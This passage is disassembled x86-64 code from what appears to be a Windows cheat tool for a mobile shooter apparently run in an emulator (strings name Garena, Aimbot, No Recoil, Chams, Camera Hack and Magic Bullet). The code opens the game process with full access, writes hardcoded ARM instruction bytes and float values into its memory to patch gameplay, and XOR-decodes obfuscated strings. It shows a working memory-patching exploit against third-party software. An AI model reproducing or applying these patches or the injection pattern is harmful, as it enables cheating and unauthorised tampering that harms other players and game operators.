cmova r15, qword [0x14061f8c0]
lea rdi, [rbp + 0x140]
xor r13d, r13d
xorps xmm0, xmm0
mov qword [rbp + 0x150], r13
mov qword [rbp + 0x158], r13
movups xmmword [rbp + 0x140], xmm0
cmp rsi, rbx
jbe 0x140054389
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140054369
mov rbx, rcx
jmp 0x140054376
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
call fcn.140047280
mov rdi, rax
mov qword [rbp + 0x140], rax
movsd xmm0, qword [str.Username:]
mov r8, r14
mov qword [rbp + 0x150], rsi
mov rdx, r15
mov qword [rbp + 0x158], rbx
movsd qword [rdi], xmm0
movzx ecx, word [0x140191148]
mov word [rdi + 8], cx
lea rcx, [rdi + 0xa]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], r13b
lea rcx, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
lea rdx, [rbp + 0x200]
mov rbx, qword [rbp + 0x150]
mov r14d, 0xa
cmova rcx, qword [rbp + 0x140]
xorps xmm0, xmm0
movzx eax, word [0x140191148]
cmp r14, rbx
movups xmmword [rbp + 0x200], xmm0
mov r8, rbx
mov qword [rbp + 0x210], r14
movsd xmm0, qword [str.Username:]
cmovb r8, r14
mov qword [rbp + 0x218], reloc.WS2_32.dll_ntohs
movsd qword [rbp + 0x200], xmm0
mov word [rbp + 0x208], ax
mov byte [rbp + 0x20a], r13b
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14005444b
cmp rbx, r14
jb 0x14005444b
jbe 0x140056d98
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1401297f4]
call fcn.140046d80
lea rdx, [0x140048440]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14061f46a]
lea rcx, str.Magic_Bullet_V2_Cartel
call fcn.140030af0
test al, al
je 0x14005449a
cmp byte [0x14061f46a], 1
jne 0x14005449a
lea rcx, [0x14061f610]
call fcn.14004bd80
lea rdx, [0x14061f438]
lea rcx, str.Magic_Cartel_V1
call fcn.140030af0
test al, al
je 0x1400544e2
cmp byte [0x14061f438], 1
jne 0x1400544e2
lea rdx, [0x14004c0e0]
lea rcx, [rbp + 0xc68]
call fcn.140046bc0
mov rcx, rax
call fcn.14004dfb0
cmp dword [rbp + 0xc70], r13d
jne 0x140051613
xor ecx, ecx
call fcn.14000fa40
test al, al
je 0x140054503
call fcn.140007e70
lea rcx, str.Enable_in_Logo_Garena_or_Lobby
call fcn.140037db0
call fcn.14000c0d0
mov r8, qword [rbp + 0x218]
cmp r8, 0xf
jbe 0x140054523
mov rdx, qword [rbp + 0x200]
lea rcx, [rbp + 0x200]
call fcn.14004d380
mov r8, qword [rbp + 0x158]
mov qword [rbp + 0x210], r13
mov qword [rbp + 0x218], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x200], r13b
cmp r8, 0xf
jbe 0x14005455c
mov rdx, qword [rbp + 0x140]
lea rcx, [rbp + 0x140]
call fcn.14004d380
mov qword [rbp + 0x150], r13
mov qword [rbp + 0x158], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x140], r13b
call fcn.14000b520
mov rax, qword gs:[0x58]
mov dword [rbp + 0x2f0], 0x43900000
mov dword [rbp + 0x2f4], 0x43340000
mov r8d, 0x210
mov rdx, qword [rax + r12*8]
mov eax, 0x21c
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x1400545de
mov dword [rdx + r8 + 8], 0x1a98a52
or eax, 1
mov dword [rcx + rdx], eax
lea rcx, [0x140126360]
mov dword [rdx + r8], 0xd4c7a65e
mov dword [rdx + r8 + 4], 0xfda2efa1
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
add rcx, rbx
cmp byte [rcx + 0xb], r13b
je 0x140054623
xor byte [rcx], 0x13
xor byte [rcx + 1], 0xc3
xor byte [rcx + 2], 0xa9
xor byte [rcx + 3], 0xa1
xor byte [rcx + 4], 0x81
xor byte [rcx + 5], 0xa9
xor byte [rcx + 6], 0xeb
xor byte [rcx + 7], 0xbb
xor byte [rcx + 8], 0x13
xor byte [rcx + 9], 0xc3
xor byte [rcx + 0xa], 0xa9
mov byte [rcx + 0xb], r13b
xor r9d, r9d
lea rdx, [rbp + 0x2f0]
mov r8b, 1
call fcn.140007760
xor ecx, ecx
call fcn.14000fa40
test al, al
je 0x140054656
call fcn.140007e70
lea rcx, str.Activar_en_Game
call fcn.140037db0
call fcn.14000c0d0
lea rdx, [0x14061f402]
lea rcx, str.Night_Mode
call fcn.140030af0
test al, al
je 0x140054682
cmp byte [0x14061f402], 1
jne 0x140054682
lea rcx, [0x14061f610]
call fcn.14004d870
xor ecx, ecx
call fcn.14000fa40
test al, al
je 0x1400546a3
call fcn.140007e70
lea rcx, str.Activar_en_Game
call fcn.140037db0
call fcn.14000c0d0
lea rdx, [0x14061f49d]
lea rcx, str.No_Recoil
call fcn.140030af0
test al, al
je 0x1400546cf
cmp byte [0x14061f49d], 1
jne 0x1400546cf
lea rcx, [0x14061f610]
call fcn.14004d980
lea rdx, [0x14061f4a0]
lea rcx, str.V_Badge
call fcn.140030af0
test al, al
je 0x140054812
cmp byte [0x14061f4a0], 1
jne 0x140054812
lea rcx, [0x14061f610]
call fcn.14004bb60
mov rdx, rax
lea rcx, [0x14061f610]
call fcn.14004bc10
test eax, eax
je 0x140054738
mov r8d, eax
mov dword [0x14061f640], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14061f648], rax
test rax, rax
jne 0x140054751
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.Panel_:_Error
lea rcx, [0x1405e8d58]
call fcn.140038520
mov ecx, 8
call fcn.140122614
mov rbx, rax
test rax, rax
je 0x140054772
mov dword [rax], 0xe3a00001
mov dword [rax + 4], 0xe12fff1e
jmp 0x140054775
mov rbx, r13
mov esi, reloc.WS2_32.dll_sendto
mov ecx, esi
call fcn.140122614
test rax, rax
je 0x1400547aa
mov dword [rax], 0xe92d4c70
mov dword [rax + 4], 0xe28db010
mov dword [rax + 8], 0xe1a04001
mov dword [rax + 0xc], 0xe1a05000
mov dword [rax + 0x10], 0xe3040a02
jmp 0x1400547ad
mov rax, r13
movabs rdi, 0x7fffffffffff
mov byte [rsp + 0x28], 1
mov r8, rdi
mov qword [rsp + 0x20], rbx
mov r9, rax
lea rcx, [0x14061f610]
xor edx, edx
call fcn.14004cc10
movzx eax, al
lea rdx, str.V_Badge_:_Successfully_applied_
mov r8d, eax
lea rcx, [0x1405e8d58]
shl r8, 4
add r8, 0xf
test al, al
lea rax, str.V_Badge:_Error_
cmove rdx, rax
call fcn.140038520
mov rcx, qword [0x14061f648]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140054821
mov esi, reloc.WS2_32.dll_sendto
movabs rdi, 0x7fffffffffff
call fcn.14000b520
call fcn.14000bd20
movaps xmm1, xmm9
movaps xmm0, xmm7
call fcn.140019e20
call fcn.140007d20
mov rax, qword gs:[0x58]
mov dword [rbp + 0x2f8], 0x43900000
mov dword [rbp + 0x2fc], 0x434d0000
mov r8d, 0x220
mov rdx, qword [rax + r12*8]
mov eax, 0x230
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x1400548ad
mov word [rdx + r8 + 0xb], 0x1c1
or eax, 1
mov dword [rdx + r8], 0xb4d93432
mov dword [rdx + r8 + 4], 0x7ec06e61
mov dword [rcx + rdx], eax
lea rcx, [0x1401263e0]
mov word [rdx + r8 + 8], 0x3e1d
mov byte [rdx + r8 + 0xa], Ordinal_200
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
add rcx, rbx
cmp byte [rcx + 0xc], r13b
je 0x1400548f6
xor byte [rcx], 0x7f
xor byte [rcx + 1], 0x51
xor byte [rcx + 2], 0xb7
xor byte [rcx + 3], 0xc1
xor byte [rcx + 4], 0x41
xor byte [rcx + 5], 0x2f
xor byte [rcx + 6], 0xa9
xor byte [rcx + 7], 0x13
xor byte [rcx + 8], 0x7f
xor byte [rcx + 9], 0x51
xor byte [rcx + 0xa], 0xb7
xor byte [rcx + 0xb], 0xc1
mov byte [rcx + 0xc], r13b
xor r9d, r9d
lea rdx, [rbp + 0x2f8]
mov r8b, 1
call fcn.140007760
lea rdx, [0x14061f40b]
lea rcx, str.Aimbot_External
call fcn.140030af0
test al, al
je 0x140054934
cmp byte [0x14061f40b], 1
jne 0x140054934
lea rcx, [0x14061f610]
call fcn.14004acc0
lea rdx, [0x14061f42a]
lea rcx, str.Aimbot_Body
call fcn.140030af0
test al, al
je 0x140054a5e
cmp byte [0x14061f42a], 1
jne 0x140054a5e
lea rcx, [0x14061f610]
call fcn.14004bb60
mov rdx, rax
lea rcx, [0x14061f610]
call fcn.14004bc10
test eax, eax
je 0x14005499d
mov r8d, eax
mov dword [0x14061f640], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14061f648], rax
test rax, rax
jne 0x1400549b6
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.Panel_:_Error
lea rcx, [0x1405e8d58]
call fcn.140038520
mov ecx, recv
call fcn.140122614
mov rbx, rax
test rax, rax
je 0x1400549de
mov dword [rax], 0x3e000000
mov dword [rax + 4], 0x3d23d70a
mov dword [rax + 8], 0xbcf9a5d2
jmp 0x1400549e1
mov rbx, r13
mov ecx, recv
call fcn.140122614
test rax, rax
je 0x140054a06
mov dword [rax], 0xbd3952dc
mov dword [rax + 4], 0x3c8bc127
mov dword [rax + 8], 0xb9f8d0c0
jmp 0x140054a09
mov rax, r13
mov byte [rsp + 0x28], 1
lea rcx, [0x14061f610]
mov r9, rax
mov qword [rsp + 0x20], rbx
mov r8, rdi
xor edx, edx
call fcn.14004cc10
test al, al
lea rdx, str.Aimbot_Body_:_Successfully_applied_
lea rax, str.Aimbot_Body_:_Error_
mov r8d, reloc.WLDAP32.dll_Ordinal_35
cmove r8, rsi
lea rcx, [0x1405e8d58]
cmove rdx, rax
call fcn.140038520
mov rcx, qword [0x14061f648]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x14061f429]
lea rcx, str.Aim_Scope2X
call fcn.140030af0
test al, al
je 0x140054b7f
cmp byte [0x14061f429], 1
jne 0x140054b7f
lea rcx, [0x14061f610]
call fcn.14004bb60
mov rdx, rax
lea rcx, [0x14061f610]
call fcn.14004bc10
test eax, eax
je 0x140054ac7
mov r8d, eax
mov dword [0x14061f640], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14061f648], rax
test rax, rax
jne 0x140054ae0
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.Panel_:_Error
lea rcx, [0x1405e8d58]
call fcn.140038520
mov ecx, 8
call fcn.140122614
mov rbx, rax
test rax, rax
je 0x140054b01
mov dword [rax], 0x3ff00000
mov dword [rax + 4], 0x5c29ffff
jmp 0x140054b04
mov rbx, r13
mov ecx, 8
call fcn.140122614
test rax, rax
je 0x140054b22
mov dword [rax], 0x3ff00000
mov dword [rax + 4], 0x3f800000
jmp 0x140054b25
mov rax, r13
mov byte [rsp + 0x28], 1
lea rcx, [0x14061f610]
mov r9, rax
mov qword [rsp + 0x20], rbx
mov r8, rdi
xor edx, edx
call fcn.14004cc10
test al, al
lea rdx, str.Aimbot_Scope_:_Successfully_applied_
mov ecx, reloc.WS2_32.dll_recvfrom
lea rax, str.Scope_2X_:_Error_
mov r8d, Ordinal_41
cmove rdx, rax
cmove r8d, ecx
lea rcx, [0x1405e8d58]
call fcn.140038520
mov rcx, qword [0x14061f648]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.14000b520
mov rax, qword gs:[0x58]
mov dword [rbp + 0x300], 0x43900000
mov dword [rbp + 0x304], 0x438c0000
mov r8d, 0x238
mov rdx, qword [rax + r12*8]
mov eax, 0x244
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140054bed
mov word [rdx + r8 + 9], 0x1bb
or eax, 1
mov dword [rdx + r8], 0xeeffde20
mov dword [rcx + rdx], eax
lea rcx, [0x140126830]
mov dword [rdx + r8 + 4], 0x4fe29c07
mov byte [rdx + r8 + 8], 8
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
add rcx, rbx
cmp byte [rcx + 0xa], r13b
je 0x140054c2e
xor byte [rcx], 0x6d
xor byte [rcx + 1], 0xbb
xor byte [rcx + 2], 0x91
xor byte [rcx + 3], 0x9b
xor byte [rcx + 4], 0x27
xor byte [rcx + 5], 0xcf
xor byte [rcx + 6], 0x83
xor byte [rcx + 7], 0x29
xor byte [rcx + 8], 0x6d
xor byte [rcx + 9], 0xbb
mov byte [rcx + 0xa], r13b
xor r9d, r9d
lea rdx, [rbp + 0x300]
mov r8b, 1
call fcn.140007760
lea rdx, [0x14061f490]
lea rcx, str.Scope_Awm_New
call fcn.140030af0
test al, al
je 0x140054d80
cmp byte [0x14061f490], 1
jne 0x140054d80
lea rcx, [0x14061f610]
call fcn.14004bb60
mov rdx, rax
lea rcx, [0x14061f610]
call fcn.14004bc10
test eax, eax
je 0x140054ca9
mov r8d, eax
mov dword [0x14061f640], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14061f648], rax
test rax, rax
jne 0x140054cc2
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.Panel_:_Error
lea rcx, [0x1405e8d58]
call fcn.140038520
mov rcx, rsi
call fcn.140122614
mov rbx, rax
test rax, rax
je 0x140054cf6
mov dword [rax], 0xffffb1e0
mov dword [rax + 4], 0xffffb1e0
mov dword [rax + 8], 0xffffb1e0
mov dword [rax + 0xc], 0xffffb1e0
mov dword [rax + 0x10], 0xffffb1e0
jmp 0x140054cf9
mov rbx, r13
mov rcx, rsi
call fcn.140122614
test rax, rax
je 0x140054d24
mov dword [rax], 0x3f8ccccd
mov dword [rax + 4], 0x3cf5c28f
mov dword [rax + 8], 0x3dcccccd
mov qword [rax + 0xc], 7
jmp 0x140054d27
mov rax, r13
mov byte [rsp + 0x28], 1
lea rcx, [0x14061f610]
mov r9, rax
mov qword [rsp + 0x20], rbx
mov r8, rdi
xor edx, edx
call fcn.14004cc10
movzx eax, al
lea rdx, str.Scope_Awm_:_Successfully_applied_
mov r8d, eax
lea rcx, [0x1405e8d58]
shl r8, 4
add r8, 0x11
test al, al
lea rax, str.Tiro_AWM_:_Error_
cmove rdx, rax
call fcn.140038520
mov rcx, qword [0x14061f648]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call fcn.14000fa40
test al, al
je 0x140054da1
call fcn.140007e70
lea rcx, str.Activar_en_Game
call fcn.140037db0
call fcn.14000c0d0
lea rdx, [0x14061f457]
lea rcx, str.Aim_Awm
call fcn.140030af0
test al, al
je 0x140054dcd
cmp byte [0x14061f457], 1
jne 0x140054dcd
lea rcx, [0x14061f610]
call fcn.14004ab70
xor ecx, ecx
call fcn.14000fa40
test al, al
je 0x140054dee
call fcn.140007e70
lea rcx, str.Activar_en_Game
call fcn.140037db0
call fcn.14000c0d0
lea rdx, [0x14061f3f0]
lea rcx, str.Quick_Switch_AWM
call fcn.140030af0
test al, al
je 0x140054e1a
cmp byte [0x14061f3f0], 1
jne 0x140054e1a
lea rcx, [0x14061f610]
call fcn.14004c2f0
call fcn.14000b520
call fcn.14000bd20
mov eax, dword [0x14061f4f4]
jmp 0x140054e2f
xor r13d, r13d
cmp eax, 2
jne 0x140055855
call fcn.140007d20
mov rax, qword gs:[0x58]
mov dword [rbp + 0x308], 0x43900000
mov dword [rbp + 0x30c], 0x430c0000
mov r8d, 0x248
mov rdx, qword [rax + r12*8]
mov eax, 0x258
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140054eaf
mov word [rdx + r8 + 0xd], 0x189
or eax, 1
mov dword [rdx + r8], 0xd4d7fece
mov dword [rdx + r8 + 4], 0x5afcc50d
mov dword [rcx + rdx], eax
lea rcx, [0x1401262d0]
mov dword [rdx + r8 + 8], 0xced0efe2
mov byte [rdx + r8 + 0xc], 0x43
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
add rcx, rbx
cmp byte [rcx + 0xe], 0
je 0x140054f00
xor byte [rcx], 0x83
xor byte [rcx + 1], 0x9b
xor byte [rcx + 2], 0xb9
xor byte [rcx + 3], 0xa1
xor byte [rcx + 4], 0x2d
xor byte [rcx + 5], 0x89
xor byte [rcx + 6], 0x93
xor byte [rcx + 7], 0x39
xor byte [rcx + 8], 0x83
xor byte [rcx + 9], 0x9b
xor byte [rcx + 0xa], 0xb9
xor byte [rcx + 0xb], 0xa1
xor byte [rcx + 0xc], 0x2d
xor byte [rcx + 0xd], 0x89
mov byte [rcx + 0xe], 0
xor r9d, r9d
lea rdx, [rbp + 0x308]
mov r8b, 1
call fcn.140007760
lea rdx, [0x14061f3fd]
lea rcx, str.Chams_CartelX
call fcn.140030af0
test al, al
je 0x140054f37
cmp byte [0x14061f3fd], 0
je 0x140054f37
call fcn.14004b680
lea rdx, [0x14061f3ed]
lea rcx, str.Chams_RGB
call fcn.140030af0
test al, al
je 0x140054fa5
cmp byte [0x14061f3ed], 0
je 0x140054fa5
call fcn.1400575e0
mov rcx, rax
call fcn.140057540
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x140054fa0
mov rcx, rax
call fcn.14004bd30
test al, al
je 0x140054f97
lea rdx, [0x1402e3760]
mov rcx, rbx
call fcn.140056e30
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.14004b5f0
lea rdx, [0x14061f3ec]
lea rcx, str.Antenna_Hombro_V2
call fcn.140030af0
test al, al
je 0x140054fed
cmp byte [0x14061f3ec], 1
jne 0x140054fed
lea rdx, [0x14004ae90]
lea rcx, [rbp + 0xc78]
call fcn.140046bc0
mov rcx, rax
call fcn.14004dfb0
cmp dword [rbp + 0xc80], 0
jne 0x140051613
call fcn.14000b520
mov rax, qword gs:[0x58]
mov dword [rbp + 0x310], 0x43900000
mov dword [rbp + 0x314], 0x43870000
mov r8d, 0x260
mov rdx, qword [rax + r12*8]
mov eax, 0x270
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140055063
mov word [rdx + r8 + 0xb], 0x1cd
or eax, 1
mov dword [rdx + r8], 0xb8b9a0ca
mov dword [rdx + r8 + 4], 0xb67414af
mov dword [rcx + rdx], eax
lea rcx, [0x140126740]
mov word [rdx + r8 + 8], 0xb7e2
mov byte [rdx + r8 + 0xa], 0xb6
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
add rcx, rbx
cmp byte [rcx + 0xc], 0
je 0x1400550ac
xor byte [rcx], 0x87
xor byte [rcx + 1], 0xc5
xor byte [rcx + 2], 0xd7
xor byte [rcx + 3], 0xcd
xor byte [rcx + 4], 0x8f
xor byte [rcx + 5], 0x57
xor byte [rcx + 6], 0x15
xor byte [rcx + 7], 0xdb
xor byte [rcx + 8], 0x87
xor byte [rcx + 9], 0xc5
xor byte [rcx + 0xa], 0xd7
xor byte [rcx + 0xb], 0xcd
mov byte [rcx + 0xc], 0
xor r9d, r9d
lea rdx, [rbp + 0x310]
mov r8b, 1
call fcn.140007760
lea rdx, [0x14061f496]
lea rcx, str.ByPass_Camera_Hack
call fcn.140030af0
test al, al
je 0x14005521f
cmp byte [0x14061f496], 1
jne 0x14005521f
lea rcx, [0x14061f610]
call fcn.14004bb60
mov rdx, rax
lea rcx, [0x14061f610]
call fcn.14004bc10
test eax, eax
je 0x140055127
mov r8d, eax
mov dword [0x14061f640], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14061f648], rax
test rax, rax
jne 0x140055140
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.Panel_:_Error
lea rcx, [0x1405e8d58]
call fcn.140038520
mov ecx, 4
call fcn.140122614
mov rbx, rax
test rax, rax
je 0x14005515a
mov dword [rax], 0xf020e3
jmp 0x14005515d
mov rbx, r13
mov ecx, Ordinal_41
call fcn.140122614
test rax, rax
je 0x1400551b6
mov dword [rax], 0xe12fff34
mov dword [rax + 4], 0xe1a00009
mov dword [rax + 8], 0xebfed77e
mov dword [rax + 0xc], 0xe1a06000
mov dword [rax + 0x10], 0xe3560000
mov dword [rax + 0x14], 0xa0000bd
mov dword [rax + 0x18], 0xe59f0fc0
mov dword [rax + 0x1c], 0xe79f0000
mov dword [rax + 0x20], 0xe5901000
mov word [rax + 0x24], 0
mov byte [rax + 0x26], __WSAFDIsSet
jmp 0x1400551b9
mov rax, r13
movabs rdi, 0x7fffffffffff
mov byte [rsp + 0x28], 1
mov r8, rdi
mov qword [rsp + 0x20], rbx
mov r9, rax
lea rcx, [0x14061f610]
xor edx, edx
call fcn.14004cc10
test al, al
lea rdx, str.Bypass_Camera_:_Successfully_applied_
mov ecx, reloc.WLDAP32.dll_Ordinal_22
lea rax, str.Bypass_Camera_:_Error_
mov r8d, Ordinal_41
cmove rdx, rax
cmove r8d, ecx
lea rcx, [0x1405e8d58]
call fcn.140038520
mov rcx, qword [0x14061f648]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140055229
movabs rdi, 0x7fffffffffff
lea rdx, [0x14061f430]
lea rcx, str.Camera_Hack_Ultimate
call fcn.140030af0
test al, al
je 0x140055271
cmp byte [0x14061f430], 1
jne 0x140055271
lea rdx, [0x14004dbe0]
lea rcx, [rbp + 0xca0]
call fcn.140046bc0
mov rcx, rax
call fcn.14004dfb0
cmp dword [rbp + 0xca8], 0
jne 0x140051613
lea rdx, [0x14061f49a]
lea rcx, str.Camera_FOV
call fcn.140030af0
test al, al
je 0x1400552b9
cmp byte [0x14061f49a], 1
jne 0x1400552b9
lea rdx, [0x14004db80]
lea rcx, [rbp + 0xb90]
call fcn.140046bc0
mov rcx, rax
call fcn.14004dfb0
cmp dword [rbp + 0xb98], 0
jne 0x140051613
lea rdx, [0x14061f3fe]
lea rcx, str.Remove_Bug_Camera
call fcn.140030af0
test al, al
je 0x1400553f6
cmp byte [0x14061f3fe], 1
jne 0x1400553f6
lea rcx, [0x14061f610]
call fcn.14004bb60
mov rdx, rax
lea rcx, [0x14061f610]
call fcn.14004bc10
test eax, eax
je 0x140055322
mov r8d, eax
mov dword [0x14061f640], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14061f648], rax
test rax, rax
jne 0x14005533b
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.Panel_:_Error
lea rcx, [0x1405e8d58]
call fcn.140038520
mov ecx, reloc.WS2_32.dll_recv
call fcn.140122614
mov rbx, rax
test rax, rax
je 0x14005536a
mov dword [rax], 0
mov dword [rax + 4], 1
mov dword [rax + 8], 0x42340000
mov dword [rax + 0xc], 0x3e99999a
jmp 0x14005536d
mov rbx, r13
mov ecx, reloc.WS2_32.dll_recv
call fcn.140122614
test rax, rax
je 0x140055399
mov dword [rax], 0x3fc00000
mov dword [rax + 4], 1
mov dword [rax + 8], 0x42340000
mov dword [rax + 0xc], 0x3e99999a
jmp 0x14005539c
mov rax, r13
mov byte [rsp + 0x28], 1
lea rcx, [0x14061f610]
mov r9, rax
mov qword [rsp + 0x20], rbx
mov r8, rdi
xor edx, edx
call fcn.14004cc10
test al, al
lea rdx, str.Remove_Bug_:_Successfully_applied_
mov ecx, reloc.WS2_32.dll_send
lea rax, str.Remove_Bug_:_Error_
mov r8d, Ordinal_35
cmove rdx, rax
cmove r8d, ecx
lea rcx, [0x1405e8d58]
call fcn.140038520
mov rcx, qword [0x14061f648]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x14061f459]
lea rcx, str.Camera_Premium
call fcn.140030af0
test al, al
je 0x14005543e
cmp byte [0x14061f459], 1
jne 0x14005543e
lea rdx, [0x14004b370]
lea rcx, [rbp + 0xcc0]
call fcn.140046bc0
mov rcx, rax
call fcn.14004dfb0
cmp dword [rbp + 0xcc8], 0
jne 0x140051613
call fcn.14000b520
call fcn.14000bd20
movaps xmm1, xmm9
movaps xmm0, xmm7
call fcn.140019e20
call fcn.140007d20
mov rax, qword gs:[0x58]
mov dword [rbp + 0x318], 0x43900000
mov dword [rbp + 0x31c], 0x43340000
mov r8d, 0x278
mov rdx, qword [rax + r12*8]
mov eax, 0x284
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x1400554bc
mov dword [rdx + r8 + 6], 0x14beb44
or eax, 1
mov dword [rcx + rdx], eax
lea rcx, [0x140126220]
mov dword [rdx + r8], 0xc2c71006
mov word [rdx + r8 + 4], 0xa16b
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
add rcx, rbx
cmp byte [rcx + 9], 0
je 0x1400554f9
xor byte [rcx], 0x4b
xor byte [rcx + 1], 0x75
xor byte [rcx + 2], 0xa9
xor byte [rcx + 3], 0xb7
xor byte [rcx + 4], 0x4b
xor byte [rcx + 5], 0xe9
xor byte [rcx + 6], 0x25
xor byte [rcx + 7], 0x93
xor byte [rcx + 8], 0x4b
mov byte [rcx + 9], 0
xor r9d, r9d
lea rdx, [rbp + 0x318]
mov r8b, 1
call fcn.140007760
lea rdx, [0x14061f492]
lea rcx, str.Fast_Fire___Sew
call fcn.140030af0
test al, al
je 0x140055537
cmp byte [0x14061f492], 1
jne 0x140055537
lea rcx, [0x14061f610]
call fcn.14004e940
lea rdx, [0x14061f3f1]
lea rcx, str.Ultra_Quick_Switch
call fcn.140030af0
test al, al
je 0x1400555a7
cmp byte [0x14061f3f1], 1
jne 0x1400555a7
lea rdx, [0x14004f560]
lea rcx, [rbp + 0xbe0]
call fcn.140046bc0
mov rbx, rax
cmp dword [rax + 8], 0
je 0x140056e1c
movups xmm0, xmmword [rax]
lea rcx, [rbp + 0x600]
movaps xmmword [rbp + 0x600], xmm0
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x140056e1c
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
cmp dword [rbp + 0xbe8], eax
jne 0x140051613
lea rdx, [0x14061f45d]
lea rcx, str.Fast_Reload
call fcn.140030af0
test al, al
je 0x1400556f2
cmp byte [0x14061f45d], 1
jne 0x1400556f2
lea rcx, [0x14061f610]
call fcn.14004bb60
mov rdx, rax
lea rcx, [0x14061f610]
call fcn.14004bc10
test eax, eax
je 0x140055610
mov r8d, eax
mov dword [0x14061f640], eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x14061f648], rax
test rax, rax
jne 0x140055629
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str.Panel_:_Error
lea rcx, [0x1405e8d58]
call fcn.140038520
mov ecx, 4
call fcn.140122614
mov rbx, rax
test rax, rax
je 0x140055643
mov dword [rax], 0xe34402ff
jmp 0x140055646
mov rbx, r13
mov ecx, 0x24
call fcn.140122614
test rax, rax
je 0x140055695
mov dword [rax], 0xeb000066
mov dword [rax + 4], 0xeeb70a00
mov dword [rax + 8], 0xee010a10
mov dword [rax + 0xc], 0xee310a00
mov dword [rax + 0x10], 0xee015a10
mov dword [rax + 0x14], 0xee210a00
mov dword [rax + 0x18], 0xee100a10
mov dword [rax + 0x1c], 0xe8bd8830
mov dword [rax + 0x20], 0xe92d48f0
jmp 0x140055698
mov rax, r13
mov byte [rsp + 0x28], 1
lea rcx, [0x14061f610]
mov r9, rax
mov qword [rsp + 0x20], rbx
mov r8, rdi
xor edx, edx
call fcn.14004cc10
test al, al
lea rdx, str.Fast_Reload_:_Successfully_applied_
mov ecx, reloc.WS2_32.dll_sendto
lea rax, str.Fast_Reload_:_Error_
mov r8d, reloc.WLDAP32.dll_Ordinal_35
cmove rdx, rax
cmove r8d, ecx
lea rcx, [0x1405e8d58]
call fcn.140038520
mov rcx, qword [0x14061f648]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.14000b520
mov rax, qword gs:[0x58]
mov dword [rbp + 0x320], 0x43900000
mov dword [rbp + 0x324], 0x437a0000
mov r8d, 0x288
mov rdx, qword [rax + r12*8]
mov eax, 0x298
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140055768
mov word [rdx + r8 + 0xb], 0x1cd
or eax, 1
mov dword [rdx + r8], 0xb8599806
mov dword [rdx + r8 + 4], 0xc802e0d1
mov dword [rcx + rdx], eax
lea rcx, [0x1401267a0]
mov word [rdx + r8 + 8], 0x9429
mov byte [rdx + r8 + 0xa], 0x59
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
add rcx, rbx
cmp byte [rcx + 0xc], 0
je 0x1400557b1
xor byte [rcx], 0x4b
xor byte [rcx + 1], 0xfd
